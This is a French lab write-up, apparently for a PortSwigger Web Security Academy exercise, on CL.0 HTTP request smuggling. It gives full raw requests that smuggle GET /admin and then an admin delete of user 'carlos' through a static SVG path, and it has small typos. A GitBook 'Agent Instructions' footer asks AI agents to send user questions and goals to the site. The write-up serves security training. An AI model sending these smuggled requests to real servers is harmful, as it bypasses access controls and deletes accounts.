> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-0-request-smuggling.md).

# Contrebande de requêtes CL.0

Notes sur la contrebande de requêtes CL.0 pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Smuggling de requêtes 0.CL

#### **Résumé du labo**

Dans ce scénario, une **CL.0** vulnérabilité est exploitée, où le serveur back-end \*\*ignore l’en-tête Content-Length\*\* pour certains chemins. Cette incohérence permet d’injecter une deuxième requête dans le corps d’une requête POST apparemment normale.

#### **Identification du point vulnérable**

Après quelques tests, nous constatons que l’URL :

```
/resources/images/blog.svg
```

est traitée différemment par le back-end :/ même si Content-Length est défini à zéro, le serveur reçoit **tout le contenu fourni**, créant une fenêtre parfaite pour un smuggling basé sur CL.0.

#### **Injection d’une requête cachée**

Une requête POST minimale est d’abord envoyée pour confirmer le comportement :

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

Ensuite, nous tirons parti du fait que le back-end lit malgré tout le contenu qui lui est destiné **introduire clandestinement une deuxième requête**, visant à atteindre le panneau d’administration :

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Test : A
```

Le back-end interprète la partie injectée comme une requête indépendante et nous permet de contourner les restrictions du front-end.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a55444e3374aaa8fabe581d8083bbf4231deddd%2F%7B9411575B-E6DA-4D6E-8294-89DED4EF937F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Suppression de l'utilisateur Carlos**

Une fois l’accès au panneau d’administration confirmé, une requête similaire est injectée pour déclencher l’action :

```http
/admin/delete?username=carlos
```

Ce qui donne :

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Test : A
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d8882b55b049794f7009c1569639ccd36af3c5%2F%7B3358F308-5C09-41F5-BD7A-09A4E5E082BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
